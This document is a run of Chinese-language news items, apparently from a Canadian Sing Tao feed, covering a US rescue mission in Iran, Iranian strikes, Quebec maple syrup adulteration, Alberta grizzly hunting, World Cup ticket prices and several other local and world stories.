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美军成功营救因F-15E战机遭击落而受困伊朗的一名机员，整个救援行动充满戏剧性与高度风险，引发全球关注。在今次救援行动中，美军共出动数十架飞机、200名特种部队，深入伊朗西南部，过程惊险。总统特朗普在任务成功后向传媒透露，美方起初一度担心，该受困机员传出的讯息，可能是伊朗设下的陷阱，意图引诱美军部队上钓。除了特种部队深入伊朗山区强行救援外，中央情报局（CIA）在幕后的定位与欺敌行动同样扮演关键角色，透过散布假讯息来干扰伊朗当局的抓捕行动。期间CIA让伊朗误以为美军准备展开海上救援，但实际上这名机员最后是从山区撤离。 《纽约时报》披露，这名受困的武器系统官在山中躲藏超过1天，期间CIA动用其独家拥有的设备定位他的位置，还刻意在伊朗境内放出假情报，试图把伊朗追捕部队从他藏身的区域引开，为救援行动争取宝贵时间。 美军一架F-!5E战机上周五遭伊朗击落。美联社   美军成功救出在伊朗受困的F-15E战机机员。美联社   美国中央情报局在情报战上发挥关键作用，透过散布假讯息来干扰伊朗当局的抓捕行动。美联社   伊朗发放被摧毁的数架美军战机残骸。法新社   特朗普在任务成功后向传媒透露，美方起初一度担心，该受困机员传出的讯息，可能是伊朗设下的陷阱。路透社   误导伊朗 干扰敌方抓捕 CIA前情报工作站站长霍夫曼（Dan Hoffman）在接受霍士新闻访问时指出，在今次营救行动中，CIA试图误导伊朗，让他们相信美国正在准备进行一次“海上救援行动”，但实际上这名机员是从山区被秘密撤出的。CIA当时负责追踪机员位置，同时也在监控伊朗部队的动向。 有消息人士指出，当CIA在截获机员的求救讯号之后，起初还怀疑是伊朗设下的“陷阱”，上周六（4日）上午在确认无误之后，将情报传递给国防部与白宫，而白宫马上下令进行救援。消息人士称：“8小时内我们的飞机就起飞了，不到12个小时，我们就抵达伊朗。” 这次营救行动于4日深夜及5日凌晨展开，出动数十架飞机以及数百名特战人员，包括知名的美国海军海豹部队第6分队（SEAL Team Six），他们曾在2011年参与狙杀拉登（Osama bin Laden），美国攻击机则负责火力掩护。 受困机员负伤爬7000呎山脊 这名机员上周五（3日）在战机被击中后弹射受了伤，他在山区生存超过24小时，最终获救。据报他的脚踝扭伤了，但没敢停留，开始往高处爬，爬上一道7000英尺的山脊，挤进一道岩缝，然后启动随身的信标发出间歇讯号，刻意不长时间开启，以免被敌方侦测到，然后等待。另一边，美军同步展开搜寻。 当特种作战部队逼近这名落单武器系统官藏身的山坡时，美军战机先对周边地区发动空袭，并同步干扰电子讯号、轰炸主要道路，阻止伊朗部队抢先抵达。 特朗普在战情室全程关注行动 特朗普在白宫战情室全程关注行动进展，并强调美方无人伤亡。 特朗普表示，约有200名特种作战部队士兵参与这次行动。特朗普表示，伊朗军方是用肩射式飞弹击落这架F-15E战斗机，他说：“他们只是运气好而已。” 藏身岩缝发求救讯号 美一度以为陷阱 特朗普在确认救援成功后数小时接受Axios访问时称：“数以千计野蛮人在追捕他，连当地人也在找他。伊朗政府提供奖金，鼓励人们抓到他就能领赏”。 他透露，这名机员躲在山中一个岩缝里，美军最终透过科技发现他的踪迹。但在收到一段无线电讯息后，美国官员一度怀疑他可能已被伊朗俘虏，担心伊朗正“发送假讯号”，企图诱使美军进入陷阱。 

【星岛综合报道】枫糖浆是加拿大的名物，魁省更是世界最大的生产地。魁省一家主要的枫糖浆生产商却被揭露，长期在市场上销售怀疑造假产品，不但将大量蔗糖掺入“纯枫糖浆”，更涉以安省的糖浆标示为魁省产品。 事件曝光后，多家超市表示已将有关产品下架。 据加拿大广播公司(CBC)节目《调查》(Enquête)报道，魁省枫糖浆生产商人布尔多(Steve Bourdeau)销售的产品，经实验室检测，其标示为“纯枫糖浆”的产品，含有至少50%的蔗糖。 涉事品牌Érablière Steve Bourdeau由布尔多经营，销售范围遍及魁省数百间超市，包括IGA、Metro等大型连锁店。 报道指CBC记者偶然发现，在超市买回来的枫糖浆味道异常，从而引发了调查报道，并锁定了位于满地可西南部蒙泰雷吉(Montérégie)区的生产商布尔多。 为搜集证据，记者乔装成采购员，以隐藏摄影机录下与布尔多的对话。对方在对话中吹嘘自己能以极低价格击败竞争对手，称“在价格方面我是最厉害的”，并透露以每罐低于5元的价格向超市批货，甚至语带玄机地承认：“我占据了市场，而且这不完全合法，但无论如何我还是成功了。” 实验室检测结果证实，由调查团队随机购买的五罐布尔多枫糖浆，全部被验出含有至少50%的蔗糖。 负责检测的ACER中心研究主任拉加塞(Luc Lagacé)表示：“这不是意外，是故意的。” 当CBC记者向布尔多出示检测结果时，对方起初坚称“不可能”，随后将责任推给来自纽宾士域省和安省的供应商。他承认自己除了自行生产外，也会从其他省份大批购入糖浆入罐分销。布尔多更在电话中承认，有时会将从安省购入的糖浆，违规标示为“魁省产品”发售。 然而，布尔多却表示无意回收或回购可能仍在货架上的掺假糖浆。他说：“它们基本上快卖完了。两三周后，就不会剩下多少了。我们对此也做不了甚么。” 魁省是全球最大的枫糖浆产地，其品质控制体系向来以严格著称。然而，该体系存在明显漏洞。ACER检查部门负责人克莱蒙(Geneviève Clermont)解释，魁省约有90%批量销售的糖浆会经过检测，但他们的职责是分析“大型容器”内的产品，并不对生产商直接销售给超市的罐装糖浆进行系统性分类检测。专家指出，这种监管漏洞让不法商人有机可乘。 在事件被公开后，Metro超市及魁省一些杂货店宣布，愿意向顾客回收有关产品和退款，或称已将所有涉事糠浆下架。 图：pexels、CBC V20

美国司法部早前公布已故富豪淫媒爱泼斯坦的档案，揭露他与微软创办人盖茨的关系。95岁的股神巴菲特在CNBC上周六播出的节目中坦言，此事严重损坏他与盖茨的友谊，自从爱泼斯坦案“整件事被揭露以来”，他与盖茨就没有交谈过。 当被问及是否仍与盖茨是好友，巴菲特答他们曾共度“美好时光”，但“在这件事厘清之前……我只是觉得进行太多对话没有意义”。对于是否会继续捐款给盖茨基金会，巴菲特审慎地说：“我会等着看事情如何发展。”暗示有可能切断捐款。

清明节，孝子贤孙带祭品到祖先坟前拜祭表孝心，用上科技减轻劳苦，相信人人都会欢迎。4月4日，广东梅州五华县坝美村，村民就用无人机吊猪羊上山祭祖，影片引发关注。 村民用无人机吊猪羊上山祭祖。抖音＠五华县佳音婚庆一站式策划   村民用无人机吊猪羊上山祭祖。抖音＠五华县佳音婚庆一站式策划   村民用无人机吊猪羊上山祭祖。抖音＠五华县佳音婚庆一站式策划   村民用无人机吊猪羊上山祭祖。抖音＠五华县佳音婚庆一站式策划   村民用无人机吊猪羊上山祭祖。抖音＠五华县佳音婚庆一站式策划   村民用无人机吊猪羊上山祭祖。抖音＠五华县佳音婚庆一站式策划   村民用无人机吊猪羊上山祭祖。抖音＠五华县佳音婚庆一站式策划   村民用无人机吊猪羊上山祭祖。抖音＠五华县佳音婚庆一站式策划   梅州市五华县坝美村村民周先生表示，一直以来祭祖都是用生猪生羊去祭拜祖先的，以前都是通过人力运输几个人抬一只猪抬上去，认为始终有危险性。现在用无人机运输就方便。 网民意见： 漂亮：二师兄这辈子没想到还能坐飞机上山 小慧儿：祖宗你的外卖到了 五华无人机吊运-阿圣：不好意思，这只猪的飞天梦，是我帮牠实现的！

伊朗伊斯兰革命卫队周日（5日）发声明说，伊朗发动“真实承诺－4”行动第97波攻势，摧毁美国和以色列在波斯湾及周边国家的多个重要目标。另据法尔斯通讯社等多家伊朗媒体周一（6日）报道，一枚炮弹击中了位于伊拉克埃尔比勒的美国领事馆。以色列北部城市海法一栋7层高住宅大楼遭伊朗导弹直接命中，造成至少2人死亡，4人受伤，消防员正在瓦砾堆中搜寻3名失踪者。 打击科威特及阿联酋美军基地 酿25伤亡 在最新一波攻势中，伊朗革命卫队使用多枚弹道导弹和多架精确制导无人机，摧毁位于科威特穆罕默德·艾哈迈德海军基地附近一处隐蔽的美军聚集地。此外，一艘以色列船只在阿联酋杰贝阿里港航道中被一枚“卡迪尔”海基巡航导弹击中，该船仍在燃烧。 救援人员在海法市大楼瓦砾堆中搜寻3名失踪者。美联社   遭伊朗导弹直接击中的海法住宅大楼沦为废墟。美联社   搜救人员持续搜寻失踪者。路透社   以色列北部城市海法一栋7层高住宅大楼遭伊朗导弹直接命中。路透社   声明提到，伊朗上周六（4日）对美军在阿联酋聚集地的打击造成25人伤亡。 海法市7层高住宅大楼中弹 2死4伤 此外，以色列北部城市海法一栋7层高住宅大楼遭伊朗导弹直接命中，炸弹穿透了部分结构，造成至少2人死亡，4人受伤。消防员正在瓦砾堆中中搜寻3名失踪者 紧急救援部队的影片显示，在人口稠密区一栋被夷平的建筑物残骸冒出浓烟，救援人员在路上铺设担架，以收治伤患。 炮弹击中伊拉克美国领事馆 另据法尔斯通讯社等多家伊朗媒体周一（6日）报道，伊拉克埃尔比勒的美国领事馆，遭一枚炮弹击中。 伊朗军队周日上午又使用无人机袭击以色列南部城市迪莫纳附近的石化基础设施和位于科威特布比延岛的美军基地。 攻击以色列石化设施 公告说，伊朗军队对位于迪莫纳附近的“石化工业设施和石油产品储罐”以及位于布比延岛军事基地内的设备仓库、卫星通信设施和美军指挥部发动无人机袭击，以此作为对美以打击的果断回应。 公告说，这轮受打击的以色列石化工业、石油产品以及地下应急燃料储备对满足以南部地区的能源需求至关重要。　　

数据有时候比任何外交辞令或宣传口号都要具说服力。全球著名民调公司盖洛普的报告显示，2025年美国的全球领导力认可度，从2024年的39%大幅跌至31%，相反中国的认可度有36%，领先美国5个百分点，创下近20年最大差距。这份基于130多个国家的调查数据，不仅印证了国际格局的深刻变化，更揭示美国单边主义政策引发的信任危机。 无可置疑，特朗普政府重返白宫，成为美国形象“大插水”的导火线。2025年，美国在全球的不支持率飙升至48%的历史新高，这一变化在其传统盟友中表现得尤为明显。德国对美支持度暴跌39个百分点，葡萄牙、英国、加拿大、意大利等长期伙伴对美的认可度集体跳水，惟有以色列例外。盟友的集体失望，源于美国去年动辄对贸易伙伴发动关税战，予取予求。 值得注意的是，此次民调尚未计入今年初美国对伊朗动武。这场战事不仅在中东地区引发轩然大波，更在全球穆斯林世界引发反弹情绪。可以预见，当2026年的民调数据出炉之时，美国的支持率恐怕将面临更惨烈的下滑。 对比美国的急速下坠，中国全球认可度稳中有进，过去10年基本维持在35%左右。在盖洛普的调查历史上，中国曾两度在支持率上领先美国：一次是美国乔治布殊执政后期的2008年，另一次是在特朗普第一任期内的2017年。 德国在全球主要大国中支持率最高，支持率达到48%。中国的36%支持率虽不算高，但反映出世界正朝着更多极化的秩序发展，许多国家尤其是美国盟友更倾向于在大国之间平衡关系，去年以来多个西方政要陆续访华，可见一斑。 纪晓华

【陈鹉专栏】 这年头，血缘这东西有时候挺黑色幽默的。它能让你和某人长得像同一模子刻出来的，却保证不了你们的良心是同一个厂牌出产的。 最近刷到一位九十四岁的上海退休教师，简直是人间大爱（大冤种）的课代表。老人家格局拉满，生前就把名下三套房产一股脑儿塞给了儿子，连自住的那间也早早写了孙子的名。这本该是一场“我养你小，你养我老”的温馨接力，结果儿子接棒后直接跑偏，进了“挥金如土”的赛道。 老太太身患肺癌，手骨折了，想请个每小时五十块的阿姨都得抠著指缝过日子；而那边厢，儿子正忙着庆祝“家里有矿”的暴富人生。这哪里是母子？这分明是“精准扶贫”与“报复性消费”的魔幻同框。好在老太太最后醒了，一句“财产全捐国家，一分不留”，硬生生把悲剧活出了武侠片的气场：老娘给你的才是你的，老娘不给你，你连根毛都别想捞。 无独有偶，影坛大姐大刘晓庆也在这条河里翻过船。她对妹妹一家那是“保姆式”的宠溺，管吃管住管留学，连保险箱的密钥估计都恨不得挂在侄子脖子上。结果呢？这家人上演了一出《家贼难防》现实版，珠宝首饰像长了腿一样集体“越狱”。这告诉我们一个扎心的真理：如果你把亲人养成只会张嘴的幼鸟，等他长成巨婴，第一件事就是把你这台“自动喂食器”拆了看里面还有没有零件。 更绝的还在香港。一对老夫妇听信了儿子的“伦敦郊外有良田”的移民美梦，把唯一的老本——房子给卖了，钱全进了儿子的口袋。结果，儿子一家在登机口上演了一场现实版《消失的她（及全家）》。那笔房款就像断了线的风筝，飘过了太平洋，只留下两位老人在原地，对着空荡荡的存摺研究什么叫“父慈子孝”。 看着这些故事，我不禁想给各位还在“剥皮拆骨”奉献的父母们提个醒： 不要提前“退位”： 权力与财富，那是老年人的护身符。你把护身符给了人，就别怪妖魔鬼怪找上门，哪怕那妖怪是你亲生的。 血缘不是防弹衣： 很多人以为“打断骨头连着筋”，却忘了有人拆迁的时候连骨头都能给你炖了。契约精神在客厅里同样适用，亲兄弟明算帐，亲父子最好也立个字据。 养儿防老不如存钱防老： 儿子可能会因为想换辆特斯拉而忘了你的药费，但存摺里的数字永远不会在你肺癌咳嗽时，忙着去参加名流派对。 人生如戏，全靠演技，但亲情这出戏，千万别演成“农夫与蛇”的续集。与其指望晚辈那点儿随缘闪现的孝心，不如握紧手里的房产证。毕竟，手里有粮，心里不慌；手里有房，儿孙再忙也得回来帮你擦窗。 最后的防线： 当你决定把江山托付给继承人的时候，记得先给自己留一块能安放病床的“封地”。因为，在这个现实得有点冷幽默的世界里，只有握在手里的现金，才是不会失联的“亲生骨肉”。 文：陈鹉 配图：Pexels 新移民,港人回流,香港移民潮,抵埗攻略,专栏-港人移加,陈鹉专栏 --------------------------------------- 作者：陈鹉，中文讲师一枚，教过香港几所大学，漂洋过海来到温哥华，继续用中文传道、授业、解惑（偶尔也解闷）。   T10

连战禁绝幕僚即兴发言 2005年4月底，时任国民党主席连战访问大陆，同中共总书记胡锦涛会面，为国共逾半世纪破冰。虽然国民党当时已成在野党，但此访为此后两岸关系开启约10年的蜜月期。当时连胜文也随父访陆，而郑丽文是当时的随团发言人。 连胜文昨在脸书忆述，当年的行程相当低调，连战当时严格要求幕僚“绝不可擅自对外发言”，甚至减少与媒体闲聊，以免被当时执政的民进党抓到把柄进行“抹红”攻击，连战访陆期间几乎没有即兴发言。 连胜文说，现在两岸的情况远比2005年更加严峻，互信被破坏殆尽，两岸民间特别是社群媒体上，也出现了许多不理性甚至充满恶意的言论。因此在面对大陆媒体发言时，有些说法或许会在大陆得到称许，但却非常有可能被台湾当权者的媒体鹰犬及网路打手断章取义、扭曲，用来抹黑、抹红个人及国民党。

【星岛综合报道】亚省近70个城镇决议指“人熊冲突”显著增加，因此联合要求省府解除实施了20年的猎熊禁令。去年亚省灰熊出没情况活跃，导致省民受伤和安全受威胁，引起了公众高度关注。 亚省于2010年将灰熊被列为濒危物种，自2006年起，全面禁止作为狩猎活动猎杀灰熊。 代表69个县区政府的亚省乡郊城镇联盟(Rural Municipalities of Alberta，简称RMA)通过决议，呼吁省府解除猎熊禁令。 决议指联盟将“倡导省府实施透过抽签制度来管理的规范化灰熊狩猎活动”。 该项动议由卡德斯顿县(Cardston County)提出，并于3月下旬获得联盟以大多数表决通过。 动议声明指出：“随着人口增长，亚省南部社区的人熊冲突有显著增加。” 去年夏季，卡德斯顿附近一名渔民，因受到一头带着幼熊的母熊袭击而受伤。 声明中写道：“居民、牧场和市政人员均报称，灰熊会接近房屋、闯入附属建筑物或谷仓，并捕食牲畜。” 卡德斯顿的政府人员在执行日常任务时，也曾遭遇灰熊袭击。 RMA主席韦斯特伦德(Kara Westerlund)表示，熊出没个案增加“无疑加剧了部分城镇农村居民的安全隐患问题，尤其是在亚省洛矶山脉东部地区。” 去年，由于熊出没事件众多，亚省公园局向整个卡纳纳斯基斯地区(Kananaskis Country)发布了全面的熊出没警告——为自2016年以来的首次。 亚省渔业及野生动物执法服务处(Alberta Fish and Wildlife Enforcement Services)去年共接获60多宗涉及灰熊袭击牲畜的投诉，卡德斯顿县占了其中的4宗。 亚省实施了20年的猎熊禁令设有豁免，例如原住民猎人可出于生存或文化目的进行猎杀。 2024年，省府成立了野生动物管理响应者网络(Wildlife Management Responder Network)，让经省府批准的合资格猎人，可以猎杀“有问题的”灰熊，但须逐个案例获得批准。 该项计划自启动以来，仅有一头灰熊因而被猎杀。 亚省林业及公园厅未有直接回应有关解除猎熊禁令的提案，并表示：“省政府致力于通过继续负责任地管理灰熊问题，来保障公众安全和野生动物生态。” 图：加通社资料图片 V20

曹操墓前堆满止痛药布洛芬，给李煜献上佳酿，为张居正送上痔疮膏……又到清明，“给古人上坟”迎来旺季，大批内地年轻人奔赴各地历史名人陵墓，用脑洞大开的祭品、温情的手写书信开启跨时空“追星”，更带火了周边文旅服务。 佳酿献李煜 痔疮膏送张居正 内地中新经纬报道，河南洛阳北邙山陵墓群是“古粉”聚集地，曹丕、李煜、杜甫等历史名人的墓葬堪称祭扫“顶流”。游客们精准拿捏古人喜好，因曹丕酷爱甘蔗、爱吃葡萄，墓前便堆满新鲜甘蔗和各类葡萄味零食；南唐李后主李煜好酒且思念故土，墓前不仅摆满佳酿，还有南京游客专程带来的一抔故土。 此外，在曹操墓前，几乎集齐了所有品牌的布洛芬，只因曹丞相生前饱受头风病困扰；武侯祠前摆着前往西安的高铁票，以告慰诸葛亮5次北伐；史载唐高宗李治体弱多疾，久病嗜酸，就有人给他带去酸梅；张居正因为在给老师徐阶的信中提到自己割了痔疮，墓前竟然出现数管痔疮膏。

正当美国总统特朗普把摧毁伊朗能源设施行动所设的最后时限延至周二（7日），要胁伊朗开放霍尔木兹海峡之际，伊朗最高领袖办公室周日（5日）在社交媒体上摘发最高领袖穆杰塔巴首次讲话内容，强调伊朗人民希望继续进行有效且令对方蒙羞的抵御行为，重申必须继续封锁霍尔木兹海峡。 而伊朗国会议长卡利巴夫同日在社交媒体上发文，指特朗普的卤莽举动正将美国拖入地狱，每个家庭都深受其害，而整个中东地区也将因为特朗普执意听从以色列总理内塔尼亚胡的命令而陷入战火。 伊朗重申继续封锁霍尔木兹海峡。路透社   伊朗最高领袖办公室发表最高领袖穆杰塔巴首次讲话内容。路透社   特朗普暗示再推迟摧毁伊朗能源设施时间。路透社   美以空袭伊朗，炸毁德黑兰一间大学一座建筑物。新华社   伊朗国会议长：特朗普卤莽举动正将美国拖入地狱 卡利巴夫表示，特朗普无法从战争罪行中获得任何好处。并称唯一真正的解决办法是尊重伊朗人民的权利，结束这场危险的游戏。 较早前，特朗普在其社交平台Truth Social发文警告，如果伊朗不开放霍尔木兹海峡，将“活在地狱中”，而“美东时间4月7日晚上8时（香港时间周三早上8时），将是伊朗的发电厂日和大桥日”，暗示要猛烈轰炸伊朗的发电厂和大桥。 炸伊朗能源设施期限似延迟一天 特朗普在Truth Social平台上简单地说：“星期二，东部时间晚上8点！”有媒体解读认为，这是他再次推迟为摧毁伊朗能源设施行动所设的最后时限，往后延迟一天。 3月26日，特朗普宣布将对伊朗能源设施的摧毁行动推迟10天，期限延至美东时间4月6日晚上8时。这已是他第2次推迟这一时限。 威胁接管伊朗石油 此外，特朗普在接受《华尔街日报》访问时称，如果伊朗不尽快与美国达成协议，他将下令“炸毁一切”，并“接管石油”。 他说：“如果他们不配合，如果他们要继续封锁海峡，他们就会失去全境每一座发电厂和其他工厂。” 当被问到他认为战争何时会结束时，特朗普说：“你们很快就会知道。”   

距离2026年美加墨世界杯开幕尚有两个多月，国内世界杯门票代购市场已提前升温，决赛门票溢价现象尤为显著——第三方渠道最高报价竟达18万元（人民币，下同），近乎国际足联（FIFA）官方公布的最高等级票价（10990美元，约合75530元人民币）的两倍。 内地蓝鲸新闻报道，世界杯门票官方购买存在一定门槛，热门场次票源更是一票难求，这直接催生了国内的门票代购生意。目前国内观众购买门票主要有三类管道：一是票务网站直接选购，二是通过二手交易平台向黄牛购票，三是在携程等平台购买包含门票的旅行观赛套餐。 在一家名为“世界观体育”的票务网站上，从小组赛到半决赛、决赛，各阶段比赛均可购买，票价从2000元到140000元不等，票价随比赛热度同步上涨。该平台坦言：“平台价格确实高于FIFA官网，有的场次会高很多，有的高得不多，主要看行情和球迷热度。” 二手交易平台上的票务商家报价则更高，部分商家透露，世界杯决赛门票最高售价已达18万元，即便是普通小组赛门票，价格也接近万元。 目前国内暂无FIFA官方指定的票务分销平台，第三方渠道票价普遍高于官网，热门场次溢价更是成倍增长。  

俄罗斯军方周一凌晨表示，防空部队在三小时内击落148架乌克兰无人机。官员指，因空袭导致停电的近50万户家庭，正紧急恢复供电。 路透社报道，周日晚上俄罗斯边境地区别尔哥罗德州，一架无人机造成一名民防志愿者死亡；同时，无人机亦击中黑海港口城市新罗西斯克的一栋住宅大楼。 俄罗斯国防部声明指出，防空系统于周日晚上8时至11时期间，在全国中部及南部地区拦截了148架无人机。在新罗西斯克，无人机残骸击中一栋高层住宅楼，目前未有伤亡报告。 俄罗斯国防部声明指，防空系统在全国中部及南部地区拦截了148架无人机。路透社   克里米亚港口城市塞瓦斯托波尔的官员表示，该市当日遭到四轮无人机攻击，在最新一轮袭击中有7架无人机被击落。 在俄方控制的乌克兰东部顿涅茨克地区，当地官员表示，在乌克兰针对能源设施发动攻击后，顿涅茨克及马基伊夫卡两个主要城市的电力已恢复。官员指，接近50万户家庭一度停电，目前仍有部分地区持续抢修中。 此外，在俄方控制的扎波罗热地区，当局亦正修复大规模停电情况。

应中共总书记习近平之邀，国民党主席郑丽文明天将率团前往江苏、上海及北京，展开为期6天的大陆之行。郑丽文的个人背景及经历近日在大陆网络成为热话，郑丽文的云南彝族人身份更引来网民“考古”。郑父郑清辉是云南普洱镇沅人，曾参加中国远征军赴缅甸抗日，50年代初随军前往台湾。郑丽文曾称回过云南家乡，多张他同夫婿返乡祭祖及探望长辈的照片曝光。 郑父赴缅甸抗日 即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   即将访问大陆的郑丽文，其陈年旧照近日被人“考古”。公众号“茶苑路拾贰号”   郑丽文儿时与父亲的合照。郑丽文脸书   56岁的郑丽文生于台湾云林，自小在迁台军人聚居的眷村长大。母亲为台湾云林人，父亲是云南人。去年9月，郑丽文为竞选国民党主席拉票时表示，自己是云南普洱人，还提到父亲来自云南普洱市，以前叫思茅镇沅，为彝族人，还透露自己回过云南家乡，是“云南的女儿”。郑丽文以往也提过，爸爸经常给眷村孩子讲抗战故事，并曾在脸书贴出幼年同身穿军服的父亲的合影。 随着郑丽文去年当选国民党主席，并将于近期访问大陆，其是云南彝族人的讯息，在大陆网络引起不少讨论。一批郑丽文数年前同丈夫骆武昌前往祖籍地云南镇沅县振太乡郑家村的相片，也在普洱当地的微信公众号“茶苑路拾贰号”上曝光。 这批照片相信翻拍自当地的官方刊物，照片下方符合简体字说明。当中提到郑丽文与“大陆亲人留影”、“与大陆长辈亲切交谈”，“由故乡亲人陪伴观赏故乡美景”、“参观故乡种植园”等，并获乡镇领导接待，也有郑丽文同丈夫一同上香的照片。 曾贴幼年与穿军服父亲合照 据云南“滇商会”指出，郑丽文父亲郑清辉曾是中国远征军的成员，在缅甸作战抗日，还获得过抗日的荣誉勋章。上世纪50年代初，郑清辉跟着部队到台湾，继续在陆军服役，至少升到中校。经过考证，其祖籍位于云普洱市镇沅县振太镇兴隆村郑家村小组。 公开资料显示，镇沅县现全称“镇沅彝族哈尼族拉祜族自治县”，是云南普洱市下属的自治县，人口10多万。有自称熟悉史料的网民称，明朝弘治初年，普洱知府陈晟实施了一项特殊政策：将《百家姓》开头的“赵钱孙李，周吴郑王”8个姓氏，分配给当地的少数民族土司。自此，“郑”姓正式融入当地姓氏文化，据称这可能是郑丽文祖辈姓氏的由来，但未能证实。 有标注云南的网民表示，郑丽文对比与台湾土生土长的人来说，她对大陆还是有感情的，尤其是受父亲的影响。“希望郑丽文有机会再回云南普洱看看，看看家乡的变化。”

乌甸尼斯 VS 科木Now638台今晚6:30直播推介：波胆 0:2 & 1:2 升班马科木现已进占联赛前4，欧联席位近在咫尺，近期豪取5连胜，期间仅失两球，防守稳固。法国中场兼队长卢卡斯达古夏成为逼抢战术的基石，对由守转攻及前场逼抢战术至为关键。今晚意甲作客缺少首席射手的乌甸尼斯，有望至少攻入两球并顺利全取3分，波胆推介0:2及1:2。 法比加斯刚荣膺意甲3月份最佳教练，其领导下科木近10战录8胜2和，抢分能力与榜首的国际米兰看齐。球队不但进攻有力，失球更是意甲最少一队。近6场有4场保持清白，合共只失掉两球。进攻方面，科木更是多点开花，今季已有16位不同球员取得入球，更是意甲唯一拥有两位入球达双位数球员的队伍。  达古夏中场贡献全面 采用巴塞隆拿系的逼抢战术下，中场核心卢卡斯达古夏成为球队的指挥官。此子由翼锋转型为全能中场，不但串连起球队的攻守转换，在前场压逼中场均贡献1.5次抢断及0.5次拦截，5.8次重夺控球更是球队最高一人。其战术智慧和领导能力，是科木今季成绩斐然的关键因素。 主队乌甸尼斯目前位列联赛中游，争胜动力稍欠，首席射手基伦戴维斯今仗须停赛，对球队攻击力影响甚大。惟乌甸尼斯是联赛中死球得分能力最强的队伍之一，加上主场之利，或有能力破蛋。马高

【星岛综合报道】气象学家表示，温哥华在刚刚度过了43年来首个“无雪冬季”后，很可能会迎来一个气温较高和雨水较少的春季。 加拿大环境部气象学家洛尼(Matt Loney)表示，大温地区的长期天气预报显示，未来两三个月的气温将高于平均水平，降雨量则低于平均。 然而他指出，4月初异常温暖的天气将不会持续很久，但4月下半月的气温将回升至高于平均值。本周二(7日)高空扰动将使气温略降，之后会迎来另一股暖流。 他说：“4月的下半月将出现一些过渡性转变，预报显示将出现比正常水平温暖和少雨的天气，这种情况将持续到5月和6月。” 他强调，这并非意味区内不会下雨。 大温地区3月份的降雨量达129毫米，高于106毫米的平均水平。 图：Howei Wang V20

【星岛综合报道】食品价格持续上涨，许多家庭发现每次上超市采买都对荷包造成沉重负担。然而，一名居住在温哥华的女子却以每月仅160元的惊人预算完成2人份的饮食采买，引发网路关注。 31岁的家庭主妇米歇尔(Michelle Nijdam)近来因在YouTube频道分享节省开支的生活方式而走红。她与30岁的丈夫托马斯(Thomas)共同生活，并由丈夫负责影片剪辑。 2人年初进行财务规划后，决定挑战为期16周、每周仅40元的购物预算，希望借此改善理财习惯。 米歇尔表示，这项挑战的核心目标并非单纯省钱，而是学会更有效地管理资金。她坦言，在开始实施严格预算前，2人每月食品支出介于450至1100元之间，外送餐费则另花费50至400元不等。 根据达尔豪斯大学农业食品分析实验室发布的2026年食品价格报告，加拿大4口之家全年食品支出预计将达17,571.79元，较前一年增加近千元，显示通膨压力依然显著。 为了达成每星期40元的目标，米歇尔建立了一套严谨的采买流程： * 先盘点家中储藏食物 * 使用电子表格制定预算 * 列出必需品清单 * 在线比价、查看促销传单 * 搜索优惠券与营养信息 * 根据预算反复调整清单 * 最后分批前往不同超市采购 她强调，购物优先顺序依序为蛋白质、蔬果、碳水化合物、Omega-3来源，以及特价商品等。 然而，物价上涨仍让她感受到压力。她指出，牛奶价格已升至6.11元，纸巾与水果价格也明显上升，甚至连香蕉都因价格过高而被迫从购物清单中移除。 加拿大统计局数据亦显示，香蕉平均价格从2025年2月每公斤1.66元上升至今年的1.84元。 肉类价格的飙升更为显著，例如炖牛肉每公斤价格已从19.69元涨至23.90元。 为了节省开支，米歇尔与丈夫改以豆类作为主要蛋白质来源，尽管这些食材需更长时间烹调，但成本较低。 此外，他们也舍弃了许多“非必要”消费，包括花草茶、气泡水、果汁及零食等。由于不再依赖外送餐点，每餐都需提前规划，并采取批次烹调方式准备食材。 尽管选择受限，米歇尔表示这反而让烹饪过程更简单明确。同时，由于预算有限，他们无法优先购买本地产品，只能以价格为首要考量。 这项挑战带来的成果十分显著。米歇尔透露，他们每月可节省约1000元食品开支。更重要的是，她在过程中学会多项实用技能，例如烹煮豆类、无蛋烘焙、醃制洋葱，以及有效利用过去常被浪费的蔬菜。 除了经济效益外，健康状况也有所改善。米歇尔指出，2人在挑战开始数星期后发现体重有下降，原因包括热量摄取减少、饮食转向植物性蛋白，以及减少油炸料理。 她亦提到，公开分享过程让他们更有纪律。过去即使超支几元也不以为意，但现在因为记录并展示给观众，让整个挑战更具约束力与趣味性。 回顾过去的消费习惯，米歇尔认为“因特价而购买不必要商品”是常见陷阱。她强调，即使只是减少几项开支，也能逐步累积可观的节省。 对于希望降低生活成本的人，她建议不必采取如此极端的方式，只需从简单改变开始，例如提前规划购物清单或减少冲动消费。 米歇尔最后表示，并非每个人都能自由选择是否节省开支，但无论处于何种情况，学习管理财务永远不嫌晚。她鼓励人们即使忙碌，也可以逐步调整习惯，为未来建立更稳定的经济基础。 图：Michelle Nijdam/Daily Hive v01  

男子花剑少年组排名第一的何承谦首登世界青少年锦标赛冠军奖台！他在香港时间周一早上在巴西里约热内卢举行的世少锦标赛的男花“少年组”决赛，以15:10击败南韩的Choi Jian，夺得他个人首面世少金牌，这亦是继林浩朗在一日前夺“青年组”金牌后，香港男花队包办2项个人赛冠军宝座，是港队第一次。 何承谦挟少年“世一”在巴西世少未逢敌手夺冠。FIE图   “细孖”何承谦首夺“世少”冠军。FIE图   男子花剑“少年组”决赛，何承谦（左）跟南韩对手（右）有不少埋身战。FIE图   何承谦（左）身材虽不算高，但胜在脑筋灵活制敌。FIE图   何承谦（左二）虽然身材不及其他剑手，但胜在用脑，给他打出一片天。FIE图   17岁 的“细孖”何承谦以高姿态亮相今届赛事，他既是FIE少年组“世一”，亦是上月利马大奖赛首度跻身FIE成人组比赛的8强，世界排名由原本的105位升至现时的42位，是世界排名头50位内年纪最细的一人，他亦在2月亚青赛夺“少年组”银牌。 何承谦在上月利马大奖赛打出惊喜。FIE图   